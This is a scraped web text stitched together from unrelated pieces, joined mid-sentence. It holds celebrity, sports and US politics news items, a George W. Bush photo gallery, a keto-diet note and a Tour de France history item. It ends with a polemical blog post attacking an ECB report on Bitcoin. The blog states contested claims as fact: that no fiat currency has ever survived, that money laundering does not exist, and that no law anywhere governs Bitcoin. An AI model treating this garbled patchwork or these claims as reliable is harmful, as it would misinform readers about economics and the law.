TMZ reports that a page from an unnamed AHS actor’s script was stolen while filming in New Orleans this week, and even though it’s only one page, it’s allegedly for a scene that reveals how Pepper the pinhead (right) wound up in the Briarcliff Manor during Season 2, “Asylum”.
There’s no word on whether Pepper’s alleged scene will be the first official tie between seasons on screen, but if leaked, it would likely ruin whatever elaborate plan Murphy has for unveiling the connections between seasons.
The theft was confirmed by 20th Century Fox TV, which produces AHS, in a statement to TMZ this morning:
“The theft and unauthorized distribution of our scripts is a very serious matter and we will take all appropriate steps necessary to vigorously protect our intellectual property.”
In the meantime, we won’t be reading any spoilers that will possibly leak as a result of this. We will, however, be all over any bonus footage from the cutting room floor of an oiled-up Dandy Mott (Finn Wittrock) working out in his underwear. Somebody get on that, please.Miley Cyrus made a few fashion choices over the weekend that had fans talking.
On Sunday, the 23-year-old singer snapped a fun selfie at the pool, and while her swimsuit was wild, all eyes were on the diamond band on her left hand that appeared to be in place of the engagement ring she's been rocking ever since she rekindled her romance with Liam Hemsworth earlier this year. Though she hasn't been shy about wearing rings on that finger, the couple has yet to officially confirm that they're engaged again.
During a day date with Hemsworth that same day at Nobu in Malibu, California, Cyrus' big diamond ring was back on and she had heads turning when she stepped out wearing a red hat that spoofed Donald Trump's presidential campaign slogan, "Make America great again." Cyrus' hat read "Make America gay again."
WATCH: Miley Cyrus Posts Rare Pic of Liam Hemsworth to Her Instagram -- 'So Much Love'
The former Disney star had shared a selfie wearing the hat a few days prior, with the caption: "F--kkk ya."
This isn't the first time Cyrus has expressed her political views. In March, she went on a rant about Trump, proclaiming: "Honestly, f--k this s--t. I am moving if this is my president! I don't say things I don't mean!"
She added, "Donald Trump is a f--king nightmare!"
WATCH: Jennifer Lawrence Slams Donald Trump for President -- 'That Will Be the End of the World'Atletico Madrid target Carlos Tevez has already put down a deposit on a house in Madrid as the Juventus forward edges towards a move to Spain.
Sport EN
Diego Simeone has already admitted that Atletico would love the Argentine on board.
"It’s always exciting to have players like Tevez. He has the game in his blood. He’d be an ideal signing for our style of play," Simeone said.
"I have to admit I haven’t spoken with him, but I know people at the club are talking to his agent."
Despite Simeone saying he doesn't know how far a long a move is, things seem advanced. So advanced, in fact, that Tevez has already chosen the house where he will live.
The former Mancheter City striker has paid a 1.5 million euro debosit on a house in the Spanish capital through London-based company Proto Organization LTD, who also deal with Cristiano Ronaldo, Lionel Messi and Edinson Cavani.
At a total cost of 3.7 million euros, the house is 700m², has two floors and a garden which is 2,000m² and includes fountains and swimming pools.window._taboola = window._taboola || []; _taboola.push({ mode: 'thumbnails-c', container: 'taboola-interstitial-gallery-thumbnails-5', placement: 'Interstitial Gallery Thumbnails 5', target_type:'mix' });
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Image 1 of / 23 Caption Close Image 2 of 23 George W. Bush remains committed to relief work in Africa after his presidency. Getty Images. George W. Bush remains committed to relief work in Africa after his presidency. Getty Images. Image 3 of 23 George W. Bush's second inauguration. AP Photo. George W. Bush's second inauguration. AP Photo. Image 4 of 23 George W. Bush with George H.W. Bush. Getty Images. George W. Bush with George H.W. Bush. Getty Images. Image 5 of 23 Image 6 of 23 George W. Bush serves Thanksgiving dinner to troops in Baghdad. Getty Images. George W. Bush serves Thanksgiving dinner to troops in Baghdad. Getty Images. Image 7 of 23 George W. Bush signs "No Child Left Behind" into law. Getty Images. George W. Bush signs "No Child Left Behind" into law. Getty Images. Image 8 of 23 George W. Bush at the groundbreaking ceremony for his presidential center at SMU. Getty Images. George W. Bush at the groundbreaking ceremony for his presidential center at SMU. Getty Images. Image 9 of 23 George W. Bush with former presidents George H.W. Bush, Bill Clinton, Jimmy Carter, and President Obama. Getty Images. George W. Bush with former presidents George H.W. Bush, Bill Clinton, Jimmy Carter, and President Obama. Getty Images. Image 10 of 23 Image 11 of 23 George W. Bush at ground zero three days after 9/11. Getty Images. George W. Bush at ground zero three days after 9/11. Getty Images. Image 12 of 23 George W. Bush at a signing of his book, "Decision Points." George W. Bush at a signing of his book, "Decision Points." Image 13 of 23 President Bush, surrounded by members of Congress, signs the Economic Stimulus Act of 2008, Wednesday, Feb. 13, 2008, in the East Room of the White House in Washington. Standing, from right are, House Minority Leader John Boehner of Ohio, Senate Minority Leader Mitch McConnell of Ky., and House Speaker Nancy Pelosi of Calif. (AP Photo/Ron Edmonds) less President Bush, surrounded by members of Congress, signs the Economic Stimulus Act of 2008, Wednesday, Feb. 13, 2008, in the East Room of the White House in Washington. Standing, from right are, House Minority... more Photo: ASSOCIATED PRESS Image 14 of 23 Image 15 of 23 Image 16 of 23 Image 17 of 23 FILE - In this Sept. 1, 1994 file photo, George W. Bush looks to the sky during a dove hunt in Hockley, Texas during his first Texas gubernatorial campaign. The White House has released a photo of President Barack Obama firing a gun, two days before he is set to travel to Minnesota to discuss gun control. It shows Obama shooting at clay targets on the range at Camp David, the presidential retreat in Maryland, where he says he engages in the sport "all the time." The image was released at a time when Obama is pushing a package of gun-control measures in response to the Newtown, Conn., school shooting. But the image of a U.S. president holding a gun is certainly nothing new. (AP Photo/File, David J. Phillip, File) less FILE - In this Sept. 1, 1994 file photo, George W. Bush looks to the sky during a dove hunt in Hockley, Texas during his first Texas gubernatorial campaign. The White House has released a photo of President... more Photo: Associated Press Image 18 of 23 FILE - U.S. President George W. Bush, left, speaks with Spanish Prime Minster Jose Maria Aznar by telephone from the Oval Office of the White House in Washington with National Security Adviser Condoleezza Rice at right on Monday, March 10, 2003 as Bush and his top aides engaged in last-minute telephone diplomacy to world leaders in an uphill struggle to gain support for a U.N. resolution setting up war against Iraq. (AP Photo/Pablo Martinez Monsivais, File) less FILE - U.S. President George W. Bush, left, speaks with Spanish Prime Minster Jose Maria Aznar by telephone from the Oval Office of the White House in Washington with National Security Adviser Condoleezza Rice... more Photo: Associated Press Image 19 of 23 FILE - In this July 5, 2012 file photo provided by the George W. Bush Presidential Center, former President George W. Bush and his wife, Laura Bush stop to talk with people who have lined the hallways of the Princess Marina Hospital in Gaborone, Botswana. The government spent nearly $3.7 million on former presidents in 2012, according to an analysis just released by the nonpartisan Congressional Research Service. That covers a pension, compensation and benefits for office staff, and other costs like travel, office space and postage. The costliest former president? George W. Bush, who clocked in last year at just over $1.3 million. (AP Photo/George W. Bush Presidential Center, Shealah Craighead, File) less FILE - In this July 5, 2012 file photo provided by the George W. Bush Presidential Center, former President George W. Bush and his wife, Laura Bush stop to talk with people who have lined the hallways of the... more Photo: Associated Press Image 20 of 23 Image 21 of 23 FILE - U.S. President George W. Bush gives a thumbs up as he visits the aircraft carrier USS Abraham Lincoln off the California coast on Thursday, May 1, 2003. Later in the day, he declared that major combat in Iraq was finished. (AP Photo/J. Scott Applewhite, File) less FILE - U.S. President George W. Bush gives a thumbs up as he visits the aircraft carrier USS Abraham Lincoln off the California coast on Thursday, May 1, 2003. Later in the day, he declared that major combat... more Photo: Associated Press Image 22 of 23 Baylor university president Ken Starr, left, talks with former President George W. Bush and Laura before a second-round game against Florida State in the women's NCAA college basketball tournament Tuesday, March 26, 2013, in Waco, Texas. Baylor won 85-47. (AP Photo/Tony Gutierrez) less Baylor university president Ken Starr, left, talks with former President George W. Bush and Laura before a second-round game against Florida State in the women's NCAA college basketball tournament Tuesday,... more Photo: Associated Press Image 23 of 23 A prominent GOP supporter of assault weapons ban, background checks? It's George W. Bush 1 / 23 Back to Gallery
There’s a Texas Republican who vocally stated that he supported background checks to keep guns away from those who shouldn’t have them. And an assault weapons ban.
Don’t believe it?
Former President George W. Bush said he supported background checks during the 2000 and 2004 presidential debates. Check out the video proof posted by Buzzfeed.
“I believe law abiding citizens ought to be able to own a gun,” he said during a 2004 presidential debate against Democratic challenger John Kerry. “I believe in background checks, at gun shows, or anywhere to make sure guns don’t get in the hands of people that shouldn’t have them.”
Bush, who was vying for reelection in 2004, professed support for legislation banning assault weapons. However, he didn’t press Congress and the 1994 assault weapons ban was allowed to expire.
Bush also mentioned his support for background checks as a method to keep guns away from those who could do harm during a 2000 presidential debate. He said he supports raising the age children can obtain a gun and that the federal government can help maintain gun laws.
His comments tell of a time not too long ago when a Republican could utter federal government and guns in the same sentence (and not in the scope of a threat to the Second Amendment) without the possibility of severe retribution from the National Rifle Association (or fellow Republicans).
Today, Texas politics is dominated by lawmakers like Sen. Ted Cruz, who are committed to protecting Second Amendment rights and argue measures like assault weapon bans and background checks would infringe upon the rights of gun-toting citizens.
Oh, if only the NRA of today possessed the ability to time travel.Some Republicans are so desperate for Paul Ryan to step up as the next speaker of the House that they’ve started talking about retiring if he doesn’t, according to a group that works on behalf of the House GOP’s more moderate members.
After Ryan, those members have no second choice or even a second tier of potential speakers, said Sarah Chamberlain, chief operating and financial officer for the Republican Main Street Partnership, a group that backs “mainstream” Republicans and plans to spend millions helping them protect their House seats in 2016.
“Depending on how this shakes out, you may see some Main Street members retire,” Chamberlain said in an interview. “… They’re hoping for a Ryan-type candidate. But if it’s not and it becomes a huge mess, why be sitting here?”
Pennsylvania Republican Rep. Charlie Dent said he’s currently not talking about retirement, but he said that between the speaker’s race, the presidential campaign, and the numerous battles that House Republicans face, he may reconsider. If the House has another fight over Planned Parenthood and nears a shutdown on Dec. 11, little more than two months after House conservatives derailed Kevin McCarthy’s bid for the speakership, Dent said he could change his mind.
“I’m preparing as if I’m running for reelection right now. But we’ll see what happens. The next two months are going to be pretty intense,” Dent said.
Dent and New York Republican Rep. Peter King—who said he personally “would never consider it because you can’t give in”—also confirmed that other members have talked about retiring, depending on the outcome of the speaker’s race.
“A lot has been put on hold in both ways—people deciding to run again, or not run again,” King said.
So far, Ryan has said he is not running for speaker, but members are trying to change his mind. If Ryan continues to decline and there’s even more uncertainty about party leadership, it could be a drag on Republican fundraising, Chamberlain said.
“If Ryan says next week that he’ll do it, I don’t think there’ll be a dip at all,” she said. “… If it’s not Ryan, probably there will be a small dip, until we figure out who will come out as the head of the party.”
That’s especially important to Republican groups like Main Street, which was started by former Rep. Steve LaTourette of Ohio and defends centrist Republicans from primary- and general-election challenges. With a histor |
ur Mutton online here! Also, do check out our blog on The Battle Of The Meats for your own insights on which is better.
Note:
If you’re considering getting on a Ketogenic diet, check first with your doctor. Keto might not be suitable for you if you have a pre-existing medical condition, or you might need more monitoring if you are breastfeeding. Also, be warned that it might have some side effects, especially when you start off – called the Keto Flu.By Graham Healy
It was widely reported yesterday that MTN-Qhubeka were set to become the first African team to take part in the Tour de France. The South African team were selected as one of the wildcards for this year’s race.
However, the first African team in the Tour took to the start line of the 1950 race. That year, a team comprised of 4 Algerian and 2 Moroccan riders lined up against various other national and regional teams.
The team were well able to hold their own. The Algerian rider Abdel-Kader Zaaf was the team leader and on the stage from Perpignan to Nîmes, he became the virtual yellow jersey. Another team member, Marcel Molines who was also Algerian, also infiltrated the breakaway group on that stage.
Zaaf started to struggle in the heat late on in the stage, and eventually climbed off the bike to sleep under a tree. Molines ploughed on and would go on to win by five minutes, therefore becoming the first African to win a stage of the race. When Zaaf came round meanwhile, he was so disorientated that he set off in the wrong direction.
Custodio Dos Reis was top finisher for the team back in Paris in 26th place overall. The other finisher was Ahmed Kebaili in 40th place.
Both Zaaf and Molines would continue racing for a number of years before fading into obscurity. Zaaf died in 1986, while the fate of Molines is unknown.The European Central Bank is one of the most destructive entities ever unleashed upon the peoples of Europe. Its Keynesian fiat currency is backed by nothing, is defrauding millions, is by design stealing value from the people who are forced to use it under threat of violence, and is doomed to fail and collapse like all other fiat currencies before it. In the history of the world, there has not been a single fiat currency that has not collapsed, and the Euro will be no different. The average lifespan of fiat currencies has been 16 years, and the only exceptions to this are the currencies that have extra momentum for political reasons.
The so called ‘bailouts’ in the Eurozone crisis are nothing more than the theft of value from millions of people to prop up mathematically unsustainable socialist economies. Greece defaulting and the other bankrupt states that are sure to follow, are just the beginning of this process. Even now, central banks world-wide are repatriating their gold in the knowledge that gold is money, and an unprecedented collapse is about to unfold with all paper currencies going to hyperinflation. For an insight into this, I direct you to read, “The Case for a 100% Gold Dollar” by Murray Rothbard and “What Has Government Done to Our Money?”, also by Murray Rothbard. There you will find the history of the world wide emergence of worthless fiat paper currency pyramided on the unconstitutional, gold-free, privately printed US Dollar.
You should also look at the last speech by Margaret Thatcher given in the House of Commons as Prime Minister, where she explains to the collectivist dullards why Britain should not join the ‘ECU’. Of course, decades later, as the Euro implodes, this position is absolutely vindicated.
Now, with that background in hand, it is with a delicious feeling of schadenfreude that we read a PDF report released by the ECB on Bitcoin and the notional game money “Linden Dollars”. The fact that this report lumps together these two things demonstrates a fundamental misunderstanding of what Bitcoin is. If you replace the phrase ‘Linden Dollars’ with ‘Monopoly Money’, the logic remains intact. Bitcoin is something new, revolutionary, decentralised, uncontrollable, money like and almost uncategorizable if you take into account the differing opinions on its true nature. Linden Dollars are none of those things. More on that below.
We will now cherry pick the parts of this report that jump off of the screen. For sure, this report is one of the most serious ever written coming from a high level government entity. For certain, the penny has dropped in the circles of power about what Bitcoin means to the future of money and its potential threat. Without a doubt, they are thinking carefully about how to stop it. They must know that if they attack it, this will attract attention to it, and it could go viral and outflank them. They must have made the connection between Bittorrent powered pirated movies and Bitcoin, and the absolutely futile and useless struggle the Copyright lobbyists have been mounting against it. They know that the best they can do is put off mass adoption and try to inveigle their way into a position of intermediating transactions or vampirizing the in and out points as a way of remaining relevant. In the light of this, it should be absolutely clear that implementing anything that retards the flow of Bitcoin or the exchanging of fiat currency into it is insane, because it gives Leviathan more time to wake out of its ignorant stupor and mount a withering attack.
And now, on to the report.
A virtual currency can be defined as a type of unregulated, digital money, which is issued and usually controlled by its developers, and used and accepted among the members of a specific virtual community.
This is not correct. Virtual currencies are tightly regulated, by the market, and the software that orders those markets. This is the only regulation that matters. A more accurate description would be extralegal, since there is no law governing Bitcoin or systems like it. Bitcoin is usable not by a ‘specific virtual community’ but by everyone everywhere.
This might seem like nitpicking on the surface, but it is not. The definitions used to give meaning to things in the real world shape the perception of them and the ability of men to control other men. By calling Bitcoin a ‘virtual currency’ or ‘money’ you immediately set up the pretext that they should be regulated by the State. Even in absentia of actual laws controlling this new phenomena, the default position of some is that regulations, that do not exist, must be obeyed. This idea is completely false, and is a result only of the language used to describe Bitcoin, not the nature of Bitcoin itself, which is elusive. Bitcoin is outside of the law. There are no laws anywhere governing its use, and so there are no laws or even regulations to obey when you deal with it or trade in it.
Depending on their interaction with traditional, �real� money and the real economy, virtual currency schemes can be classified into three types: Type 1, which is used to refer to closed virtual currency schemes, basically used in an online game; Type 2 virtual currency schemes have a unidirectional flow (usually an inflow), i.e. there is a conversion rate for purchasing the virtual currency, which can subsequently be used to buy virtual goods and services, but exceptionally also to buy real goods and services; and Type 3 virtual currency schemes have bidirectional flows, i.e. the virtual currency in this respect acts like any other convertible currency, with two exchange rates (buy and sell), which can subsequently be used to buy virtual goods and services, but also to purchase real goods and services.
This is an error. The true classifications and important distinction between virtual currencies has to do with who controls them, how they are distributed and the software used to interact with them. This is why you cannot lump Linden Dollars in with Bitcoin. The two are incompatible and very different in architecture.
Bitcoin is unique, both in terms of how it works through distributed peer clients and its Austrian School inspired money supply limit. These are the only things that really matter, not what you can or cannot do with them. Linden Dollars are a threat to no one. Once Linden Labs is shut down and its owners get the Bernard von NotHaus treatment the problem of Linden Dollars goes away. Locking up the developers of Bitcoin will, on the other hand, not stop Bitcoin any more than locking away movie pirates has made a single dent in the level of Bittorrent traffic on the internet.
Virtual currency schemes differ from electronic money schemes insofar as the currency being used as the unit of account has no physical counterpart with legal tender status.
Not quite. The differences between virtual currencies and electronic money are as follows. Virtual currencies (like Linden Dollars) are made up of entries in a centrally controlled database saying who has a certain amount stacked against their user name. Electronic money is cash like in that it is made up of digitally signed certificates that can be transferred between individuals without reference to or permission from a central authority.
Its also worth bearing in mind when thinking about electronic money schemes versus virtual currency in the terms set down in this paper, that the State has sanctioned one and not the other. Electronic money schemes allow you to move fiat currency between points, that is itself, backed by nothing. The means of doing this is by shifting accounting entries in ledgers. The fact that electronic fiat currency is backed by nothing is absolutely identical to the true nature of both Bitcoin and Linden Dollars. The Euro is not backed by gold or anything else; the main difference between the money of Linden Labs and the Euro is that Linden Labs does not use force to make people trade with its ‘money’, whereas the ECB does.
The issuer of the currency and scheme owner is usually a non-financial private company. This implies that typical financial sector regulation and supervision arrangements are not applicable.
This is hilarious. It is the financial sector regulation and supervision arrangements that have brought Europe to its knees, that has the Greeks out in the street throwing molotov cocktails and the Italians with a bank appointed apparatchick at the helm. If anything, private supervision of currencies or even better as in the case of Bitcoin, computer supervision, is infinitely superior to ECB regulation and supervision. At least then either the profit motive or an unalterable mathematical rule will be the sole arbiter; force is not a part of the equation, and everyone can choose what currency they want to accept on a level playing field. The ECB is against this, obviously, and will eventually advocate the use violence to stop free people transacting in private with Bitcoin. They have admitted as much in this report. They are going to have a very hard time shutting down Bitcoin however, if it scales to the size of Bittorrent. Once again, anything, any business practice or business model that prevents this scaling or which slows rapid adoption or increases friction should be shunned.
the link between virtual currency and traditional currency (i.e. currency with a legal tender status) is not regulated by law, which might be problematic or costly when redeeming funds, if this is even permitted.
These people, surely, must be aware of eBay’s dispute regulation system. This system allows participants in eBay’s service to resolve disputes without having to resort to the law. This has worked spectacularly well, and there is no doubt that a self regulating reputation based system will emerge to reduce Bitcoin fraud to a tiny fraction. No one needs the ECB or the State to protect them or regulate the market. This is a demonstrated fact. What the writers of this report are doing here is making an appeal to fear. “If Bitcoin is not regulated, people will die”.
Lastly, the fact that the currency is denominated differently (i.e. not euro, US dollar, etc.) means that complete control of the virtual currency is given to its issuer, who governs the scheme and manages the supply of money at will.
Not true of Bitcoin, obviously, and in any case, the ECB and the Federal Reserve have complete control over the currencies they force people to use, and look at the disasters and mass theft these entities have engineered. The supply of money should not be in the hands of a violent monopoly. Bitcoin and Linden Dollars do not suffer from this flaw.
The above quotes were from the introduction. Now we get to the first part of the report proper, that deals specifically with Bitcoin. They trot out the usual FUD about Bitcoin, probably because they do not have the expertise or insight to understand it fully, though this seems unlikely, since the report is well researched, and smacks of extremely capable and knowledgeable authors.
Bitcoin is astonishing and controversial without ever having to mention the edge case uses it is put to today. People who mention these fringe uses in serious contemplation of Bitcoin do not understand what it is and how revolutionary its design is, and they discredit themselves by doing so. FUD is a crutch for the weak minded and computer illiterate, and completely out of place in this document.
The problem with the US Dollar is not that it is used by criminals. The true problem with the US Dollar is that there are too many of them, and there is no natural control over their supply. When the US Dollar was a bearer certificate promise to a quantity of gold, there was a natural check on the money supply; now that that is gone, it is literally worthless, and is only accepted because the State uses force to mandate its use for payment of taxes and as a unit of account. It is identical to the tally stick in its essential nature, and differs only in that it will not last as long as the King’s wood did.
The assessment covers the stability of prices, of the financial system and of the payment system, looking also at the regulatory perspective. It also addresses reputational risk concerns. It can be concluded that, in the current situation, virtual currency schemes:? do not pose a risk to price stability, provided that money creation continues to stay at a low level;
They might not now, but they have a huge potential to, especially currencies based on Bitcoin. If Bitcoin is used only as a way to move money, and not as money itself, it poses no threat to any money system. If however, people start to use it as money, it will eat away the importance of State issued fiat currencies and the actors who regulate them.
? tend to be inherently unstable, but cannot jeopardise financial stability, owing to their limited connection with the real economy, their low volume traded and a lack of wide user acceptance;
This doesn’t make any sense. You cannot say that Bitcoin tends to be inherently unstable, because it is not old enough for a sufficient record to be examined and its nature is not even well understood. In any case, a man looking at a chart of the value of the dollar could assert that it is not good money, and that it is unstable. And these are the people who cast doubt on Bitcoin?
? are currently not regulated and not closely supervised or overseen by any public authority, even though participation in these schemes exposes users to credit, liquidity, operational and legal risks;
The fact that they are not regulated is a benefit, not a risk. How the ECB regulates (or more correctly, mismanages) the Euro is the best demonstration of why they should not be in charge of money. The risk people choose to expose themselves to is not a matter for the ECB or the State. Legal risks are a side effect of the State, and can be avoided by private dispute resolution, as we have seen with eBay.
? could represent a challenge for public authorities, given the legal uncertainty surrounding these schemes, as they can be used by criminals, fraudsters and money launderers to perform their illegal activities;
It is a challenge on several levels. First, it is a challenge to the supremacy of Keynesian State issued fiat currency. Once people are made to think about what money is and where it comes from, and how it should work in a perfect world, the Emperor’s New Clothes Effect is sure to kick in and then a societal rejection of government issued fiat currency is sure to follow, accompanied by howls of derisive laughter.
There is no such thing as money laundering: “Money laundering is a euphemism for transactions out of view of State surveillance. Any transaction that takes place outside of State control is essentially �Money Laundering� according to the State.” – Blogdial.
Libertarians consider fiat currency to be criminal fraud, on a massive scale, and we are absolutely correct in this assessment.
Bitcoin is like any other thing that can be used for more than one purpose. Anyone citing criminal activity as a pretext for regulation, activity which is always a minority case, is not thinking clearly, or is deliberately trying to hype up a pretext for regulation.
? could have a negative impact on the reputation of central banks, assuming the use of such systems grows considerably and in the event that an incident attracts press coverage, since the public may perceive the incident as being caused, in part, by a central bank not doing its job properly;
A negative impact on the reputations of central banks would be very beneficial to the population at large, and this is an extraordinarily frank admission. If this paper were private and sent only to ECB insiders we could expect language like this, but to have it published in the open is either a mistake or an act of hubris. They don’t think anyone is paying attention…. absolutely shocking.
The central banks have an unearned reputation, which they have bought with violence and surreptitious theft through inflation. The ignorant public trusts them and holds them in high regard only because they have been tricked and brainwashed and have never had an alternative placed before them. The adoption of local currencies like the Totnes Pound demonstrates that people are adaptable and are willing to put at least some of their money into local currencies when the case is made to them. This means that if Bitcoin atarts to be used by a large number of people and businesses, it is inevitable that it will eat a large proportion of the transactions made in the central bank mediated system’s fiat currency. This will be done because it is private, easy, regulation free and you can send the money literally anywhere in the world to any device for nothing.
? do indeed fall within central banks� responsibility as a result of characteristics shared with payment systems, which give rise to the need for at least an examination of developments and the provision of an initial assessment.
This is a pipe dream. Bitcoin will not be regulated any more than Bittorrent is. The State might eventually regulate the few sycophant run entry points, but after that, it will be impossible for them to regulate the peer to peer transactions that happen between individuals and the pure entrepreneurs that serve them.
If Bitcoin becomes big enough to warrant regulation, it will already be too late. The best they will be able to do is tax the conversion of their fraudulent fiat currency as it enters the gravity well of the black hole of Bitcoin, where money goes in but never comes out. Once all the money has disappeared into Bitcoin, a new economy will emerge that is beyond the reach of the State, which will have to resort to fleecing the computer illiterate, the compliant and the dealers in real goods via a vicious financial policing system that monitors the movement of all goods and money. Think about it.
This report is a first attempt to provide the basis for a discussion on virtual currency schemes. Although these schemes can have positive aspects in terms of financial innovation and the provision of additional payment alternatives to consumers, it is clear that they also entail risks. Owing to the small size of virtual currency schemes, these risks do not affect anyone other than users of the schemes.
This report is an alert, transmitted to all Globalists, Statists and central bankers, world-wide. Bitcoin is serious business. It is not a fad, it has not been ‘hacked’ and has not crashed, as the ignorant Statist mouthpieces have tried to claim whenever a vendor has had a problem.
Bitcoin represents a real systemic threat to the world fiat currency system, not only because it cannot be easily regulated or shut down, but because it calls into question the very nature of money and jurisdiction. It questions the need for the ECB and its fraudulent ‘Euro’, the Federal Reserve and its “Dollar”.
The risks of Bitcoin are only to the ECB and the Fed. The risk to the individual users is comparatively small. If a few users get hacked or lose a few tens of Bitcoins, who does this affect? Bitcoin goes on, as will the trillions of transactions made in it. Every hack event makes the Bitcoin client software ecosystem stronger and less vulnerable. As Bitcoin get stronger, confidence in it will increase, as will reliance upon it to move money from A to B.
Its interesting that they say the risks do not affect anyone other than the users of the schemes. If this is true now, why will it not be true if Bitcoin takes up a third of all transactions world-wide? Why is it not important at a small scale, but important at a large scale? Is this report really asserting that if a few people get hurt, “it doesn’t really matter”? This gives you a peek into the ethics of these people, “as long as it cannot displace us, we do not care about who gets wiped out by Bitcoin”. This makes any comment the ECB has to offer on Bitcoin with regards to “harming society” absolutely hollow.
As a consequence, this report largely relies on information and data gathered from material published on the internet (see the Annex for references and further reading), whose reliability, however, cannot be fully guaranteed. This places serious limitations on the present study.
This is an absolutely ridiculous disclaimer. In preparation for writing this report, these people should have used Bitcoin themselves, and then applied their economic theories to it, after examining it and the services that are on offer. That is all you need to understand it fully, and its implications. The reliability of sources on the internet is irrelevant; Bitcoin is not theoretical, it is live and running right now. It is run on software that can be examined in fine detail.
I am going to forgo picking out all of the mistakes in this paper, such as this one:
Virtual currencies resemble money and necessarily come with their own dedicated retail payment systems; these two aspects are covered by the term �virtual currency scheme�.
I assume that as a reader of BLOGDIAL, you know what money is, and therefore know that a virtual currency is not and does not resemble money. I will not be going over this again; what I will do, is go straight to the most interesting parts of this report, leaving out the glaring errors and the sections that the report gets right, because these are not of interest to us. It is interesting however, to note this section:
Modern economies are typically based on �fiat� money, which is similar to commodity-backed money in its appearance, but radically different in concept, as it can no longer be redeemed for a commodity. Fiat money is any legal tender designated and issued by a central authority. People are willing to accept it in exchange for goods and services simply because they trust this central authority. Trust is therefore a crucial element of any fiat money system.
What they are saying here is that money is money today, simply because people say it is. Anyone paying attention closely will be flabbergasted by this admission. The ECB is admitting that the money it issues is worthless, and it is used only because people have faith in the issuers of it. I will leave it to you to ponder wether this makes the ECB a sort of church, with the Euro its holy sacrament. Needless to say, this makes Bitcoin deeply sacrilegious.
Also, they say that money is money because, “People are willing to accept it”, yet we know that it is money by force because it is fiat currency, “fiat” meaning arbitrary decree. People who try and conduct all of their business in gold, for example, get into hot water, even if it is gold issued by the country in which they live.
By this admission, the following line is a lie, where the report says that the Euro is a:
Store of value: money can be saved and retrieved in the future.
when clearly it is not. Not only is the Euro not money, but it is not a good store of value because the supply of it is not fixed. It is inflated by design, meaning that it is a very poor store of value.
Money is not a “social institution”, as the report claims. The ECB is a social institution. Money is the property of individuals; it does not depend on any institution for it to come into being or have its value (Bitcoin being the latest example of this, if indeed it is money; the FSA in the UK says it is not) and the best form of money is gold. Gold in your hands is separate from any issuer, has a value in and of itself, “inherent value” and is not a part of ‘Society’ or a ‘social institution’ or any other fictional socialist nonsense.
Money has not been affected by technological innovations; it remains exactly the same in nature, just as man’s nature has not changed because he can make a phone call. This is a fundamental, though not surprising, error of the authors of this work.
�a virtual currency is a type of unregulated, digital money, which is issued and usually controlled by its developers, and used and accepted among the members of a specific virtual community�. This definition may need to be adapted in future if fundamental characteristics change.
In other words, they have no good definition of Bitcoin. This is true not only of the ECB, but of everyone who is talking and writing about it. Is Bitcoin money or is it not? Is it a distributed ledger, or is it ‘digital gold’? One thing about Bitcoin is true and everyone can agree on this, it is hard to get Bitcoins, no matter what you think they are. This is being addressed.
We have written extensively, consistently and coherently on the subject of what Bitcoin is on BLOGDIAL. I suspect that the same forces that cause some people to believe that Bitcoin is money are going to come into play when the ECB decides to try and design policy concerning it. Bitcoin to them, is a threat. It is a money, and it should be either killed or regulated so that it has no teeth.
This of course, does not change the nature of Bitcoin; Bitcoin is like a mirror that reflects the ideology of the looker. An Aparatchick will see something that needs to be regulated. A Statist will see something that requires compliance. Entrepreneurs see an exiting business opportunity. A Libertarian will see another neutral tool for her toolbox, to go along with her hammer and coping saw.
Until the big idea of Bitcoin is unleashed, what people think Bitcoin is will remain in flux. All we can say about it that is true is related to the clients, the network software and the statistics to do with processing power and other plain facts. Trying to pin down Bitcoin to one definition is like trying to say what the internet is. It is a series of tubes. A way to send mail. A way to make phone calls, and so many other things, but it is really whatever you want to do with it, and there is always another protocol that can be developed and used on it.
The theoretical roots of Bitcoin can be found in the Austrian school of economics and its criticism of the current fiat money system and interventions undertaken by governments and other agencies, which, in their view, result in exacerbated business cycles and massive inflation.
For certain, this is the most delicious part of this document. It will have the Bitcoin hating Austrians blowing smoke from their ears, as the dastardly ECB puts the blame for Bitcoin’s creation and design upon its creator’s correct conclusions about the true nature of money gleaned from a careful study of the Austrian School. The bigger Bitcoin grows, the more it confirms that the Austrians were right. Or will it confirm that they are wrong? I suppose it depends on who you ask!
Note how the authors detach themselves from Austrianism by using the phrase, “in their view”. They are saying here that the Austrian School is not correct, and that it is just a ‘view’. This doesn’t make any sense. Economics cannot be two things at once, and as we have seen, the wrong ideas of the Statist “paper moneyists” and Keynesians has destroyed every paper currency that has ever been created. The Austrians are correct, because history demonstrates it. It is not opinion or theory, but fact.
It is a great pity that the major voices in the Austrian School have not picked up on and championed Bitcoin. Its almost as if they have worked diligently and brilliantly for decades determining exactly what money is, but now that the 21st century has crept up on us all, they cannot look outside of this definitive study at the world as it profoundly changes around them, and apply their insights to this truly new and wonderful innovation.
Perhaps now that the ECB has made this connection, they will be forced to either ramp up the irrational attacks on Bitcoin, siding with the ECB, or they will concede that Bitcoin is extremely interesting and serious, and perhaps even a form of money. Either way, none of this has any effect on the adoption of Bitcoin, and is more of a form of entertainment, as this insightful commenter describes. Bitcoin, like the moon landings, will succeed no matter what the pronouncements of the people who say it is impossible are.
However, the system has been accused of leading to a deflationary spiral. The total supply of Bitcoins is expected to grow geometrically until it reaches a finite limit of 21 million. If, however, the number of Bitcoin users starts growing exponentially for any reason, and assuming that the velocity of money does not increase proportionally, a long-term appreciation of the currency can be expected or, in other words, a depreciation of the prices of the goods and services quoted in Bitcoins.
The only people who level the accusation that Bitcoin is deflationary are the Keynesians that believe the supply of money must increase over time, and that this doesn’t matter, even though it penalises savers because, “In the end we are all dead anyway”.
A fixed money supply is in fact, a good thing. It means that you can save money and rest assured that when you use your savings, the money will have the same purchasing power as when it was stored. Naturally occurring money like gold has, for all intents and purposes, a fixed supply. That is why the price of goods denominated in gold when displayed on a graph against time is a flat line, over decades, and the only fluctuations are to do with natural disasters like locusts destroying crops, and other natural supply altering events that change the amount of goods on the market.
People would have a great incentive to hold Bitcoins and delay their consumption, thereby exacerbating the deflationary spiral.
This is another Keynesian fallacy, see Rothbard for a refutation of the imaginary “Hoarding Problem”.
Secondly, Bitcoin is not the currency of a country or currency area and is therefore not directly linked to the goods and services produced in a specific economy, but linked to the goods and services provided by merchants who accept Bitcoins. These merchants may also accept another currency (e.g. US dollars) and therefore, the fact that deflation is anticipated could give rise to a situation where merchants adapt the prices of their goods and services in Bitcoins.
